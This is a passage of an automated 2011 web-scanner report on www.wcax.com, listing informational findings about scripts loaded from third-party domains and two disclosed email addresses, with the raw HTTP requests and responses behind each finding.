<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.worldnow.com/global/interface/jq.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
<div class="wnDVUtilityBlock"><script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.3. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/category.asp?C=18836 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352436393:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS54
P3P: CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 40024
Cache-Control: private, max-age=291
Expires: Sat, 09 Apr 2011 12:38:56 GMT
Date: Sat, 09 Apr 2011 12:34:05 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 40024

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Contact Us
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.4. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/category.asp?C=68446 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352436393:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS11
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 68568
Cache-Control: private, max-age=279
Expires: Sat, 09 Apr 2011 12:38:44 GMT
Date: Sat, 09 Apr 2011 12:34:05 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 68568

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Lifestyle
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/ellipses-function.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
<div id="financialcontentModule">
<script
src="http://studio-5.financialcontent.com/worldnow?Module=snapshot&OutputMode=JS"></script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.5. http://www.wcax.com/Global/link.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/link.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/link.asp?L=408799 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352293178:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS07
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 26034
Cache-Control: private, max-age=900
Date: Sat, 09 Apr 2011 12:34:01 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 26034

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>WCAX Vermo
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.6. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/story.asp?S=503137 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352522776:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
wn: IIS08
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
ntCoent-Length: 49209
Cache-Control: private, max-age=282
Expires: Sat, 09 Apr 2011 12:40:23 GMT
Date: Sat, 09 Apr 2011 12:35:41 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 49209

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>You Can Qu
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<span style="white-space:nowrap;"><script src="http://ads.adbrite.com/mb/text_group.php?sid=640921&zs=3436385f3630" type="text/javascript"></script>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.7. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/story.asp?S=14408244 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352451310:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS12
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
ntCoent-Length: 35416
Cache-Control: private, max-age=290
Expires: Sat, 09 Apr 2011 12:39:12 GMT
Date: Sat, 09 Apr 2011 12:34:22 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 35416

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Police: RI
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://content.worldnow.com/global/interface/drag_drop.js?ver=201011111600"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://js-kit.com/comments.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.8. http://www.wcax.com/build.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /build.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /build.asp?buildtype=buildpagexmlrequest&featureType=S&featureid=503137&affiliateno=183&clientgroupid=1&rnd=152692 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/video/flash/widgets/WNGallery.swf?ver=201010090400
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352546556:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis51
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/xml; charset=utf-8
ntCoent-Length: 258153
Cache-Control: private, max-age=300
Date: Sat, 09 Apr 2011 12:35:53 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 258153

<?xml version="1.0" encoding="utf-8"?><DEFAULT><CURRENT><TYPE>S</TYPE><ID>503137</ID><STATUS>L</STATUS><owner><affiliateno>183</affiliateno><affiliatename>WCAX</affiliatename><baseurl>www.wcax.com</ba
...[SNIP]...
<span style="white-space:nowrap;"><script src="http://ads.adbrite.com/mb/text_group.php?sid=640921&zs=3436385f3630" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script><script language='JavaScript' src='http://www.google.com/afsonline/show_afs_ads.js'></script>
...[SNIP]...
</script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200901240400'></script>
...[SNIP]...
</script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googlecsearch.js'></script>
...[SNIP]...
</script><script language="JavaScript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
</script>
               <script type='text/javascript' src='http://content.worldnow.com/global/interface/httprequest/httprequest.js?ver=200711031508'></script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200711031508'></script>
...[SNIP]...
</script>
               <script type='text/javascript' src='http://content.worldnow.com/global/interface/httprequest/httprequest.js?ver=200711031508'></script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200711031508'></script>
...[SNIP]...
</script><script language='JavaScript' src='http://www.google.com/afsonline/show_afs_ads.js'></script>
...[SNIP]...
6. Email addresses disclosed  previous
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Global/story.asp?S=14408244 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=18197
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352451310:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS12
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
ntCoent-Length: 35416
Cache-Control: private, max-age=290
Expires: Sat, 09 Apr 2011 12:39:12 GMT
Date: Sat, 09 Apr 2011 12:34:22 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 35416

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Police: RI
...[SNIP]...
<a href="mailto:news@wcax.com" target="_blank">
...[SNIP]...
6.2. http://www.wcax.com/build.asp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /build.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /build.asp?buildtype=buildpagexmlrequest&featureType=C&featureid=63459&affiliateno=183&clientgroupid=1&rnd=552930 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/video/flash/widgets/WNGallery.swf?ver=201010090400
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352164716:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS53
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/xml; charset=utf-8
Cache-Control: private, max-age=66
Date: Sat, 09 Apr 2011 12:29:31 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 635654

<?xml version="1.0" encoding="utf-8"?><DEFAULT><CURRENT><TYPE>C</TYPE><ID>63459</ID><STATUS>L</STATUS><owner><affiliateno>183</affiliateno><affiliatename>WCAX</affiliatename><baseurl>www.wcax.com</bas
...[SNIP]...
<email>worldnownotification@gmail.com</email>
...[SNIP]...
<email>worldnownotification@gmail.com</email>
...[SNIP]...
Report generated by XSS.CX at Tue Apr 12 10:32:42 CDT 2011.